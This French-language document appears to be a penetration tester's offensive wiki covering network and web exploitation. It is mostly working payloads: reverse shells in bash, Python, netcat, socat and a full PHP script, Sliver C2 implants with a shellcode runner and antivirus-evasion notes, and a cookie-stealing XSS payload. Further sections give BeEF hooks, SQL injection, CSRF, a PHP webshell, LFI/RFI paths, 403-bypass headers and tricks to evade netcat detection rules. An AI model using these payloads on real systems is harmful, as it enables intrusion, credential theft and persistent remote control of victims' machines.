Socat permet l'utilisation de certificat SSL pour chiffrer une connexion. Il va donc nous permettre d'établir un tunnel sécurisé pour exécuter nos commandes à distance.

Tout d'abord, générer un certificat sur la machine de l'attaquant :

openssl req -x509 -newkey rsa:4096 -days 365 -subj '/CN=www.redteam.thm/O=Red Team THM/C=UK' -nodes -keyout thm-reverse.key -out thm-reverse.crt
cat thm-reverse.key thm-reverse.crt > thm-reverse.pem

Puis lancez le listener :

socat -d -d OPENSSL-LISTEN:4443,cert=thm-reverse.pem,verify=0,fork STDOUT

Et sur la machine de la victime, lancez ce payload :

socat OPENSSL:10.20.30.1:4443,verify=0 EXEC:/bin/bash

Votre reverse shell sécurisé est ouvert !

Changement de la donnée brute

Imaginons une règle qui se base sur une chaîne de caractère pour détecter l'utilisation de netcat, on pourrait très facilement la contourner en modifiant la commande.

Admettons un règle qui détecte la présence de cette chaîne :

nc -lvp

On pourrait changer l'ordre des flags :

nc -pvl

Ou ajouter des espaces :

nc  -lvp

Ou on peut changer la commande :

ncat -lvp

Réseau

[Exploitation/Réseau] Reverse shell

Introduction

Le reverse shell est un type de payload qui permet à l'attaquant d'établir une connexion dans le sens inverse d'un bind shell et qui vous permet d'exécuter des commandes à distance.  

image.png

Revshell.com

Ce site permet de générer des reverse shells dans divers langages en spécifiant votre adresse IP et le port que vous voulez utiliser :

InternalAllTheThings

Voici une page de ce site qui réferencie des reverses shell très variés :

Payload vérifiés

Bash

sh -i >& /dev/tcp/<IP>/<PORT> 0>&1

Python-3

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<IP>",<PORT>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'

Netcat

nc -e /bin/bash <IP> <PORT>

Netcat + certificat SSL (chiffrement)

Côté attaquant, générer le certificat :

openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes

Puis lancez Netcat depuis la machine attaquante pour vous mettre en écoute en utilisant le certificat :

nc --ssl -lvp <PORT>

Puis sur la victime :

mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect <IP>:<PORT> > /tmp/s; rm /tmp/s

Pentest Monkey

Ce reverse shell php est connu et fonctionnel pour vos tests d'intrusion, il vous suffit de modifier l'IP et le port :

<?php
// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net

set_time_limit (0);
$VERSION = "1.0";
$ip = '127.0.0.1';  // CHANGE THIS
$port = 1234;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

if (function_exists('pcntl_fork')) {
	$pid = pcntl_fork();
	if ($pid == -1) {
		printit("ERROR: Can't fork");
		exit(1);
	}
	if ($pid) {
		exit(0);
	}
	if (posix_setsid() == -1) {
		printit("Error: Can't setsid()");
		exit(1);
	}
	$daemon = 1;
} else {
	printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}
chdir("/");
umask(0);

$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}

$descriptorspec = array(
   0 => array("pipe", "r"),
   1 => array("pipe", "w"),
   2 => array("pipe", "w")
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}

stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}

	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}

	$read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}

	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}

	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

function printit ($string) {
	if (!$daemon) {
		print "$string\n";
	}
}

?>

Réseau

[Exploitation/Réseau] Sliver C2

Introduction

Sliver C2 est un framework de commande et contrôle qui ressemble un peu à Metasploit.

Il présente des fonctionnalités interéssantes d'obfuscation et des modules permettant de faire de la post-exploitation.

Fonctionnant en mode client-serveur, vous pouvez démarrer un serveur sur un VPS accessible depuis Internet et utiliser le client pour vous connecter sur votre compte d'opérateur, ce qui permet de travailler en équipe.

Vous pouvez aussi travailler directement sur le serveur si vous le souhaitez, ce qui est l'option la plus simple selon moi.

image.png

Source

Installation

Linux

Vous pouvez installer Sliver simplement avec la commande suivante pour la plupart des distributions Linux :

curl https://sliver.sh/install | sudo bash

Compiler depuis les sources

Cependant, vous aurez peut-être besoin de compiler vous même, notamment si vous travailler dans des environnement spécifiques tels que Exegol :

git clone https://github.com/BishopFox/sliver.git && cd sliver && git checkout tags/v1.5.39 && make

Implants

Il existe deux types d'implant (Agent C2) dans Sliver :

Générer un implant de session mtls

generate <TYPE> <LHOST>:<LPORT> --save <FILE_NAME>.exe

Générer un implant de session wireguard

generate -g <LHOST>:<LPORT> --save <FILE_NAME>.exe

Générer un implant de beacon

generate beacon <TYPE> <LHOST>:<LPORT> --save <FILE_NAME>.exe --seconds <TIME> --jitter <TIME>

Après le flag --seconds vous devez indiquer le délai entre chaque reconnexion.

Après le flag --jitter vous devez renseigner un délai de temps aléatoire. Par exemple, si le flag --seconds est définit à 3 et que le flag --jitter est définit à 1, une reconnexion sera effectuée de manière aléatoire toutes les 3 ou 4 secondes.

Types d'implants

Types
Descriptions
--mtls
Utilise une connexion chiffrée de type mTLS.
-g
Utilise une connexion Wireguard.
--http
Utilise une connexion HTTP.
--https
Utilise une connexion HTTPS.
--dns
Utilise une connexion DNS.

Convertir un beacon en session

interactive

Listeners

Lancer un listener mTLS

mtls -l <LPORT>

Le port par défaut de mTLS est le 8888.

Lancer un listener Wireguard

wg -l <LPORT>

Le port par défaut du listener Wireguard est le 53.

Lancer un listener HTTP

http -l <LPORT>

Le port par défaut du listener HTTP est le 80.

Lancer un listener HTTPS

https -l <LPORT>

Le port par défaut du listener HTTPS est le 443.

Lancer un listener DNS

dns -d <FQDN>

Le port par défaut du listener DNS est le 53.

Le champs <FQDN> doit être remplacé par le nom de domaine qui pointe sur votre serveur C2.

Afficher les sessions actives

sessions

Terminer une session

sessions -k <ID>

Afficher les beacons actifs

beacons

Se connecter à une session ou un beacon

Après avoir récupéré l'ID de l'implant, vous pouvez vous connecter dessus pour effectuer des actions :

use <ID>

Profiles

Sliver propose de créer des profiles pour sauvegarder une configuration d'implant que vous pourrez utiliser par la suite.

Créer un profil

profiles new --mtls <LHOST>:<LPORT> --os windows --arch amd64 --format exe <NAME>

Vous pouvez bien sûr, changer le type d'implant, l'OS cible, l'architecture etc.

Vous pouvez aussi créer un profil de beacon :

profiles new beacon --mtls <LHOST>:<LPORT> --os windows --arch amd64 --format exe --seconds 5 --jitter 3 <NAME>

Afficher les profiles / implants

implants

Stagers

Les stagers sont des implants légers qui permettent d'injecter des shellcodes.

Génération du profil

profiles new <TYPE> <LHOST>:<LPORT> --format shellcode --arch amd64 win64

Lancement du listener

mtls

Lancement du stager-listener

stage-listener --url tcp://<IP>:<PORT> --profile win64

Génération du stager

generate stager --lhost <LHOST> --lport <LPORT> --arch amd64 --format c --save <PATH>

Création du runner

Le runner va être le code capable de lancer le shellcode généré précédemment.

#include "windows.h"

int main()
{
    unsigned char shellcode[] =
    "\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50\x52"
    "\x48\x31\xd2\x51\x56\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
    ...
    "\xff\xff\xff\x48\x01\xc3\x48\x29\xc6\x48\x85\xf6\x75\xb4\x41"
    "\xff\xe7\x58\x6a\x00\x59\xbb\xe0\x1d\x2a\x0a\x41\x89\xda\xff"
    "\xd5";


    void *exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(exec, shellcode, sizeof shellcode);
    ((void(*)())exec)();

    return 0;
}

Vous pouvez créer un runner un peu plus complexe pour faire de l'évasion AV/EDR en utilisant diverses techniques.

Vous pouvez le compiler :

x86_64-w64-mingw32-gcc -o runner.exe runner.c

Custom stager

Vous pouvez créer vos propres stagers, from-scratch, pour faire de l'évasion AV/EDR ou simplement pour le fun.

La documentation de Sliver donne des pistes pour vous lancer dans cette aventure :

Post-exploitation

Execute-assembly

Cette fonctionnalité permet d'exécuter des applications .NET au format .exe ou .dll directement en mémoire sans jamais écrire de fichier sur le disque.

Cela peut-être utile pour contourner la protection antivirus ou pour vous camoufler.

De cette manière vous pourriez exécuter des programmes comme mimikatz ou autre sur la machine victime en passant inaperçu.

Tout d'abord, assurez-vous d'avoir un implant fonctionnel et lancez la commande suivante :

execute-assembly --ppid <PID> --process calc.exe --loot --name <NAME> <PATH_TO_EXE_OR_DLL> -group=All

Le champs <PID> doit être remplacé par le process ID d'un processus légitime en cours d'exécution.

Vous pouvez utiliser la commande ps pour récupérer la liste des processus avec leur PID.

Ici, le processus sacrifié sera la calculatrice (calc.exe) et son processus parent sera celui désigné par le PID.

Le fait d'injecter dans un programme existant peut le faire planter, c'est pourquoi il existe une autre méthode décrite après.

L'option --loot permet de sauvegarder la sortie standard du programme en base de donnée sur le serveur afin de pouvoir l'afficher plus tard grâce à la commande suivante :

loot fetch

Le nom du loot à sélectionner vous sera demandé. Vous pouvez le récupérer grâce à la commande loot.

Vous pouvez aussi choisir de ne pas sacrifier un processus grâce à l'option --in-process :

execute-assembly --in-process --loot --name <NAME> <PATH_TO_EXE_OR_DLL> -group=user

Vous pouvez retrouver plus d'informations sur la fonctionnalité execute-assembly :

Sideload

Cette fonctionnalité est très proche de la précédente mais permet d'exécuter à peu près n'importe quel type d'exécutable (PE) ou DLL.

Tout d'abord, assurez vous d'avoir un implant fonctionnel et lancez cette commande :

sideload <PATH_TO_EXE> [ARG1] [ARG2]

SpawnDLL

Cette fonctionnalité, similaire aux deux précédentes, permet d'injecter des DLL réflectives.

Elle est très puissante si l'application que vous voulez lancer est disponible dans ce format.

Voici la syntaxe :

spawndll <FILE>.dll

Vous pouvez aussi injecter la dll dans un processus sacrifié grâce à l'option --process <PID> ou alors vous pouvez carrément spoofer le processus parent avec l'option --ppid <PID>.

Voici une liste d'outils au format reflective DLL que vous pouvez utiliser :

Extensions et aliases

Sliver propose des extensions pour ses modules ce qui permet d'étendre ses fonctionnalités.

SliverKeylogger

Armory

Il s'agit du gestionnaire d'extension et d'alias de Sliver. Il permet d'en installer de manière automatisée :

armory install <PKG>

Vous pouvez chercher une extension pour voir si elle est disponible :

armory search <PKG>

Vous pouvez retrouver la liste des extensions et alias disponibles sur ce repos Github :

Créer vos propres alias

Réseau

[Exploitation/Réseau] Transfert de fichiers

Introduction

Cette documentation présente plusieurs solution pour envoyer des fichiers sur un serveur compromis que ce soit Linux ou Windows via différents protocoles comme HTTP, SSH, FTP et SMB.

Techniques

updog / SimpleHTTPServer

python3 -m updog -p 80
python3 -m http.server 80
powershell wget http://<ATTACKER_IP>/<FILE> -o <OUTPUT_FILE>

Sous Linux vous pouvez utiliser la même commande sans powershell si le paquet wget est installé.

curl http://<ATTACKER_IP>/<FILE> -o <OUTPUT_FILE>

Fonctionne aussi bien sur Windows que sur Linux !

Impacket SMB Server

impacket-smbserver share $(pwd) -smb2support
copy \\<ATTACKER_IP>\share\<FILE>
smbclient -L <ATTACKER_IP>
smbclient "\\\\<ATTACKER_IP>\share"
ls
get <FILE>
put <SOME_FILE>

SCP

scp <FILE> <user>@<IP>:/tmp
scp <user>@<IP>:/<PATH>/<TO>/<FILE> <FILE>

TFTP

use auxiliary/server/tftp
set srvhost <ATTACKER_IP>
set tftproot <PATH>
run
tftp -i <ATTACKER_IP> GET <FILE>

Netcat

Depuis la machine qui doit recevoir le fichier :

nc -lvp <PORT> > <FILE>

Depuis la machine qui doit envoyerle fichier :

nc <ATTACKER_IP> <PORT> < <FILE>

Web

Web

[Exploitation/Web] BurpSuite

Introduction

BurpSuite est un proxy développé par PortSwigger utilisé par les attaquants pour effectuer de multiples attaques web.

Il permet notamment d'intercepter des requêtes HTTP pour les modifier et les envoyer.

De plus, il supporte une multitude d'autres fonctions comme les attaques brute force ou MITM.

image.png

Installation

L'outil est déjà installé par défaut sur Kali Linux et Exegol.

Si vous souhaitez l'installez sur votre distribution Linux, téléchargez le script bash depuis le site officiel :

https://portswigger.net/burp/releases/professional-community-2023-10-2-3

FoxyProxy

Cette extension Firefox permet de basculer rapidement d'une configuration Proxy à l'autre sans passer par les paramètres du navigateur.

Elle est très pratique car elle permet de rapidement activer ou désactiver l'utilisation du proxy dans Firefox.

Voici le lien de l'extension :

https://addons.mozilla.org/fr/firefox/addon/foxyproxy-standard/?utm_source=addons.mozilla.org&utm_medium=referral&utm_content=search

On peut configurer le proxy de burp de la sorte dans les paramètres de FoxyProxy :

image.png

Manuel

Lors du démarrage, passez toutes les étapes afin de démarrer le logiciel jusqu'à accéder à cette interface :

image.pngProxy

Depuis l'interface principale, accédez à l'onglet Proxy :

image.pngOn voit que par défaut l'interception est désactivée, alors activez-la en cliquant sur le bouton Intercept is off afin de changer l'état de Burp et de voir apparaître Intercept is on :

image.pngPar ailleurs, vous pourrez ensuite appuyer de nouveau sur ce bouton pour le désactiver.

On peut maintenant activer le proxy dans Firefox grâce à FoxyProxy :

image.pngDésormais, lorsque vous ferez une requête sur un site web, vous la verrez apparaître dans Burp :

image.png

Après avoir fait des modifications dans votre requête (ou non) vous avez 2 possibilités :

  1. Forward : Envoie la requête.
  2. Drop : Jette la requête à la poubelle.

Repeater

Le mode répéteur dans Burp est souvent plus intéressant que le mode Proxy puisqu'il permet de travailler uniquement sur la requête qui nous intéresse, et surtout il permet d'analyser la réponse.

Pour transférer votre requête dans le mode Repeater il suffit de faire un clic droit sur votre requête depuis le mode Proxy puis cliquer sur Send to Repeater ou utiliser la combinaison CTRL+R.

Vous pouvez ensuite accéder à l'onglet Repeater et voir votre requête.

On peut cliquer sur Send pour envoyer la requête et obtenir la réponse :

image.png

On peut aussi accéder à l'onglet Render qui permet d'obtenir le rendu graĥique de la page.

Remarque : Sur exegol, le message suivant peut s'afficher :

image.pngIl faut donc activer le paramètre comme indiqué : Burp > Settings > Burp's browser > Allow Burp's browser to run without sandbox.

Désormais, l'affichage graphique de la page devrait s'afficher :

image.png

Web

[Exploitation/Web] XSS

Introduction

Les failles XSS pour Cross Site Scripting permettent à un attaquant d'injecter du code dans une page web afin qu'il soit executé côté client. Il existe trois type de XSS qui permettent à un attaquant d'avoir un panel d'attaques plus ou moins grand.

image.png

Les types de XSS

De manière générale, les injections XSS sont possibles lorsque l'application web propose une fonctionnalité mal protégée d'entrée de texte qui est ensuite affichée sur la page.

Il est possible de tester la possibilité d'injection d'un champs grâce au code javascript suivant :

<script>alert('XSS available !');</script>

Si une popup affichant le message "XSS available !" apparait, c'est qu'une XSS est disponible et peut être exploitée.

Ensuite, selon le type de XSS, vous pourrez :

Cette dernière possibilité est certainement l'action la plus intéressante à réaliser avec une XSS.

XSS reflected

Ce type de XSS est sûrement le moins dangereux puisqu'il a la particularité de ne plus être actif après le rafraîchissement de la page.

Cependant, si le champs d'entrée de texte se trouve dans l'URL, il peut être tout aussi dangereux qu'une XSS stored grâce à des techniques de social engineering.

Ainsi, vous pourrez aussi voler des cookies des utilisateurs sous certaines conditions.

XSS stored

Ce type de XSS, aussi appelé XSS permanent, reste sur la page même après le rafraîchissement ce qui facilite la tâche à l'attaquant pour procéder à des attaques.

Ce type de XSS est disponible lorsque le code injecté par l'entrée vulnérable est stockée en base de donnée et est affiché à chaque chargement de la page. 

Ainsi, si l'utilisateur du site se rend sur une page légitime mais vulnérable, il pourra se voir executer des payloads introduit par l'attaquant.

DOM-based XSS

Un peu de la même manière que la XSS reflected, ce type de XSS n'affecte que la page côté client.

En fait, ce type d'attaque est possible lorsque le code javascript est mal protégé et inclut un champs injectable par l'utilisateur.

Par exemple, le code suivant est vulnérable :

let userText = window.location.href.split('input=')[1]; // Récupère la valeur du paramètre 'input' dans l'URL
document.getElementById('zoneAmodifier').innerHTML = userText; // Injection de la valeur dans le DOM

L'attaquant peut l'exploiter de la manière suivante :

https://www.example.com/page?input=<script>alert('XSS DOM-based!')</script>

Un autre exemple de code vulnérable pourrait être celui-ci :

var number = '4';

Voici comment l'exploiter pour faire un alert (qu'on peut remplacer par un autre code Javascript) :

4'; alert(1); //

Bypass WAF

Parfois, il se peut que vous trouviez une XSS sans pouvoir l'exploiter parce qu'un pare-feu applicatif (WAF) vous met des bâtons dans les roues.

Toutefois, les WAF sont généralement basés sur des règles et peuvent être contournés en utilisant quelques techniques.

Majuscules dans les balises

<sCRipt>alert(1)</scRiPt>

Nouvelle ligne

<script>%0d%0aalert(1)</script>

Encodage de l'URL

%3Cscript%3Ealert%281%29%3C%2Fscript%3E

Double encodage de l'URL

%253Cscript%253Ealert(1)%253C/script%253E

Tag Anchor

<a/href="j&Tab;a&Tab;v&Tab;asc&Tab;ri&Tab;pt: alert&lpar;1&rpar;">

Fonction alerte en majuscule

<script>ALERT(1)</script>

Webhook.site

Ce site en ligne permet de récupérer les cookies d'une victime :

Voici un code Javascript qui permet d'envoyer un cookie en paramètre lorsque le code est exécuté :

<script>var i=new Image(); i.src="<WEBHOOK_LINK>/?cookie="+document.cookie;</script>

Dans le cas où le caractère "+" ne serait pas pris en charge vous pouvez utiliser la fonction concat.

Beef-XSS

Présentation

Cet outil permet à un attaquant d'exploiter des XSS afin d'en tirer profit.

Voici les fonctionnalités proposées par Beef grâce à ses modules :

Voici comment se présente l'interface web de contrôle de Beef pour l'attaquant :

image.png

Installation

Une page github du projet est dédiée à l'installation de Beef : https://github.com/beefproject/beef/wiki/Installation

Vous pouvez aussi exécuter cette commande :

sudo gem install bundler && sudo git clone https://github.com/beefproject/beef && cd beef && sudo apt install libssl-dev && rvm install "ruby-3.0.3" && sudo ./install && sudo bundle install

Manuel

Avant de lancer Beef, il faut éditer le fichier config.yaml afin de définir l'utilisateur et le mot de passe dans la section credentials :

    credentials:
        user:   "beef"
        passwd: "beef1234"

Puis démarrez Beef grâce à cette commande :

sudo ./beef

Quelque chose comme ça devrait s'afficher :

[12:02:58][*] BeEF is loading. Wait a few seconds...
[12:03:01][*] 8 extensions enabled:
[12:03:01]    |   XSSRays
[12:03:01]    |   Social Engineering
[12:03:01]    |   Requester
[12:03:01]    |   Proxy
[12:03:01]    |   Network
[12:03:01]    |   Events
[12:03:01]    |   Demos
[12:03:01]    |_  Admin UI
[12:03:01][*] 303 modules enabled.
[12:03:01][*] 5 network interfaces were detected.
[12:03:01][*] running on network interface: 127.0.0.1
[12:03:01]    |   Hook URL: http://127.0.0.1:3000/hook.js
[12:03:01]    |_  UI URL:   http://127.0.0.1:3000/ui/panel
[12:03:01][*] running on network interface: 192.168.2.30
[12:03:01]    |   Hook URL: http://192.168.2.30:3000/hook.js
[12:03:01]    |_  UI URL:   http://192.168.2.30:3000/ui/panel
[12:03:01][*] running on network interface: 172.17.0.1
[12:03:01]    |   Hook URL: http://172.17.0.1:3000/hook.js
[12:03:01]    |_  UI URL:   http://172.17.0.1:3000/ui/panel
[12:03:01][*] running on network interface: 192.168.188.1
[12:03:01]    |   Hook URL: http://192.168.188.1:3000/hook.js
[12:03:01]    |_  UI URL:   http://192.168.188.1:3000/ui/panel
[12:03:01][*] running on network interface: 192.168.192.1
[12:03:01]    |   Hook URL: http://192.168.192.1:3000/hook.js
[12:03:01]    |_  UI URL:   http://192.168.192.1:3000/ui/panel
[12:03:01][*] RESTful API key: d0739ac4656cd46389134e01cd48896b46b559d7
[12:03:01][!] [GeoIP] Could not find MaxMind GeoIP database: '/usr/share/GeoIP/GeoLite2-City.mmdb'
[12:03:01][*] HTTP Proxy: http://127.0.0.1:6789
[12:03:01][*] BeEF server started (press control+c to stop)

Votre serveur de contrôle web Beef est disponible sur toutes vos interfaces sur le port 3000 à l'adresse suivante :

http://localhost:3000/ui/authentication

On peut envoyer un payload de ce type pour infecter les utilisateurs qui se rendent sur la page :

<script src="http://127.0.0.1:3000/hook.js"></script>

Web

[Exploitation/Web] SQL injection

Introduction

Certainement l'une des injections web les plus connues, la SQLi permet de modifier une requête SQL initiale afin d'effectuer des actions non prévues par le concepteur de l'application.

Un attaquant pourrait exploiter cette vulnérabilité afin de contourner un système d'authentification ou récupérer le contenu d'une ou plusieurs tables de la base de données.

image.png

Exploitation manuelle

Bien que des outils comme SQLmap permettent d'exploiter automatiquement les failles SQL, il est toujours intéressant de savoir les exploiter manuellement pour plusieurs raisons :

Pour manipuler manuellement les requêtes, je vous recommande d'utiliser BurpSuite.

Tester l'injection

Les injections SQL sont possibles lorsqu'un paramètre modifiable par l'utilisateur est vulnérable car le développeur n'a pas préparé la requête.

Vous comprenez donc que l'injection SQL fonctionne donc aussi bien avec les paramètres utilisant la méthode GET que la méthode POST, seulement l'exploitation changera. 

On peut tester la vulnérabilité du paramètre grâce au caractère ' qui devrait générer une erreur SQL qui s'affichera dans le cas où l'administrateur n'a pas désactiver le retour des erreurs :

http://monsitevulnerable.com/profil.php?id=id=1'

Contourner l'authentification

Si un formulaire d'authentification est vulnérable, il est possible d'usurper le compte d'un utilisateur ou de l'administrateur sans connaître son mot de passe grâce à l'injection suivante :

pass' OR 1=1 ;--

Afficher les champs d'une table

Il est aussi possible de dumper les tables.

Remarque : on sera limité au nombre de champs affiché initialement sur la page !

1 UNION SELECT 1,username,password FROM users ;--

Time based

Dans le cas où l'administrateur de l'application aurait désactivé l'affichage des erreurs SQL, nous ne pouvons pas afficher directement le résultat de nos requêtes SQL personnalisées sur la page.

Cependant, cela ne signifie en aucun cas que la vulnérabilité est inexploitable !

Puisqu'il n'y a aucun moyen d'avoir un retour visuel, on peut utiliser la fonction SLEEP() qui permet de mettre un délai et ainsi vérifier que la requête aboutie ou n'aboutie pas.

C'est assez rudimentaire mais efficace !

La fonction peut porter un autre nom selon le SGBD utilisé.

Par exemple, pour PostGreSQL il s'agit de PG_SLEEP(). Voici la syntaxe :

1;SELECT PG_SLEEP(2)--

SqlMap

Présentation

Cet outil permet d'automatiser les injections SQL et peut vous faire gagner beaucoup de temps.

Manuel

Voici la syntaxe globale :

sqlmap -u <URL> <OPTIONS>

Voici quelques options intéressantes :

Options
Descriptifs
--dump
Permet d'extraire les données sensibles.
--tables
Affiche les noms des tables dans la base de données.
--columns
Affiche les noms des colonnes d'une table.
--cookie=" "
Spécifie le cookie à utiliser pour l'authentification.
--technique=[U|B]
Définit la technique d'injection à utiliser (U pour Union-Based et B pour Blind).
--delay=
Définit un temps d'attente entre les requêtes pour contourner certaines protections.
--data=" "
Spécifie les données POST.
--level=[1-5]
Définit le niveau de tests de pénétration (de 1 à 5, 5 étant le plus agressif).
--dbms
Spécifie le type de SGBD utilisé.
--os-shell
Ouvre un shell sur le système d'exploitation hôte.
--users
Lance une attaque brute force pour trouver les utilisateurs.
--passwords
Lance une attaque brute force pour trouver les mots de passe.

Web

[Exploitation/Web] CSRF

Introduction

La faille CSRF pour Cross- Site Request Forgery fonctionne presque sur le même principe que XSS mais a pour objectif de faire exécuter à un utilisateur privilégié, une fonction non accessible en temps normal.

image.pngSource

Exploitation

L'objectif est de trouver une page vulnérable à une injection de code que l'administrateur va visiter.

Ensuite, il faut injecter un formulaire malveillant qui sera automatiquement validé lors du chargement de la page :

<form action="http://challenge01.root-me.org/web-client/ch22/index.php?action=profile" method="POST">
    <input type="text" name="username" value="elieroc" />
    <input type="checkbox" name="status" checked />
</form>
<script>
    document.forms[0].submit();
</script>

Web

[Exploitation/Web] File upload

Introduction

Les injections de code par envoi de fichier sont redoutables sur les pages web puisqu'elles aboutissent généralement à une execution de commande à distance (RCE).

Les sécurités mises en place par les développeurs ne sont parfois pas suffisantes car un tas de paramètres doit être contrôlé avant de permettre l'envoie d'un fichier sur le serveur.

image.pngSource

Exploits

Webshell

<?php
    if(isset($_GET['cmd']))
    {
        system($_GET['cmd']);
    }
?>

Double extensions

En effet, les formulaires d'envoi de fichiers sont parfois uniquement protégé par un filtre sur l'extension du fichier.

Malheureusement, ce filtre est aisément contournable en mettant une double extension sur votre fichier.

Exemple :

payload.php.png

Ce type d'attaque fonctionne car le navigateur fait du Content-Type-Sniffing sur le fichier pour l'interpreter.

C'est à dire qu'il va l'analyser pour déterminer son type sans se fier à l'extension ou au content-type de l'en-tête du fichier.

Pour l'exploiter il suffit donc de :

Type MIME

Une autre protection est le filtre par type MIME du fichier envoyé.

Les types MIME définissent le format et le type de contenu d'un fichier, permettant de reconnaître et d'interpréter correctement le contenu des fichiers. 

Lors de l'envoi d'un fichier, le type MIME est spécifié dans l'entête de la requête via le paramètre content-type.

Grâce à des outils comme Burp, il est possible de modifier la requête pour modifier ce paramètre et tromper le serveur sur le type de fichier envoyé.

Voici quelques content-type (MIME) qui peuvent vous servir à contourner une protection basée sur le MIME :

Null byte

Lorsque le serveur se base sur l'extension du fichier et sur le MIME du fichier il semble impossible de le duper.

Pourtant, il existe une dernière technique très puissante qui exploite une faiblesse de la fonction basename() utilisé en php pour obtenir le nom  du fichier (ainsi que son extension).

Cette fonction étant codée en langage C, elle est sensible aux caractères ASCII dont le fameux null byte, aussi appelé caractère zéro.

Celui-ci marque la fin d'une chaîne de caractère en délaissant complètement tout les caractères qui peuvent suivre (comme l'extension d'un fichier par exemple).

Pour exploiter cette vulnérabilité, il suffit d'utiliser burp et de modifier la requête de sorte à :

Voici la requête initiale lors de l'envoi du fichier payload.php :

image.png

Et voici la requête modifiée :

image.png

Une fois la requête envoyée et le fichier correctement envoyé sur le serveur, il ne reste plus qu'à trouver le chemin du fichier payload.php (et non payload.php%00.jpeg car la fonction basenaem() a retiré toute cette partie du nom du fichier).

Web

[Exploitation/Web] LFI / RFI

Introduction

Les vulnérabilités web LFI pour Local File Inclusion et RFI pour Remote File Inclusion sont utilisées pour accéder à des ressources non autorisées sur le serveur cible.

Elles exploitent généralement un paramètre mal protégé qui utilise souvent une fonction include (notamment en PHP).

image.pngSources

LFI

Exploitation traditionnelle

Admettons le cas d'une page web index.php avec  un paramètre page pour inclure d'autres fichiers tels que 1.php situé dans le même dossier /var/www/html.

Vous pourriez accéder au fichier /etc/passwd grâce à l'injection suivante :

http://example.com/index.php?page=../../../etc/passwd

Null byte

Vous pourriez aussi utiliser un nullbyte pour supprimer un filtre basé sur l'extension du fichier de la manière suivante :

http://example.com/index.php?page=../../../etc/passwd%00

Encodage

Parfois, certains filtres vérifient la présence du caractère "/" ou "." par exemple.

Vous pourriez le faire en encodant ou en double-encodant ces caractères :

http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00

Wrapper PHP

Dans des cas spécifiques vous allez devoir utiliser des wrappers qui sont des fonctions php qui permettent notamment d'accéder à des ressources.

 RFI

Exploitation traditionnelle

Si une RFI est exploitable, il vous faudra monter un serveur web, héberger un reverse shell php dessus, lancer un listener et exécuter votre payload de la manière suivante : 

http://example.com/index.php?page=http://attacker.com/mal.php

Web

[Exploitation/Web] Bypass 403

Introduction

Il arrive parfois que certaines ressources soient protégées sur des applications web et que lorsque vous essayez d'y accéder, vous obteniez l'erreur 403 Forbidden .

Dans ce cas précis, il est parfois possible de contourner les sécurités mises en place pour quand même accéder à la ressource.

image.pngSource

Méthodes

Voici la liste des méthodes que vous pouvez essayer de modifier dans l'entête HTTP avec BurpSuite :

GET
HEAD
POST
PUT
DELETE
CONNECT
OPTIONS
TRACE
PATCH
INVENTED
HACK

HTTP Headers

X-Originating-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Forwarded: 127.0.0.1
Forwarded-For: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-ProxyUser-Ip: 127.0.0.1
X-Original-URL: 127.0.0.1
Client-IP: 127.0.0.1
True-Client-IP: 127.0.0.1
True-Client-IP: 127.0.0.1
X-ProxyUser-Ip: 127.0.0.1
Host: localhost
X-Original-URL: /admin/console
X-Rewrite-URL: /admin/console

Pour tester toutes ces en-têtes automatiquement, vous pouvez utiliser le script fuzzhttpbypass.

Web

[Exploitation/Web] IP spoofing

Introduction

Il se peut qu'une ressource d'un site web soit protégé par un filtre d'adresse IP.

Dans ce cas, il est parfois possible de contourner cette restriction en faisant croire au serveur que la requête provient d'une adresse IP légitime en modifiant l'en-tête.

image.png

Manuel

Depuis Burpsuite, on peut modifier les requêtes HTTP et ainsi, falsifier l'adresse IP source indiquée dans la requête.

Pour cela, il suffit d'ajouter dans l'en-tête de la requête, le champ suivant : 

X-Forwarded-For: <SPOOFING_IP>

Remplacer <SPOOFING_IP> par l'adresse que vous souhaitez falsifier pour tromper le serveur.

Web

[Exploitation/Web] CI/CD

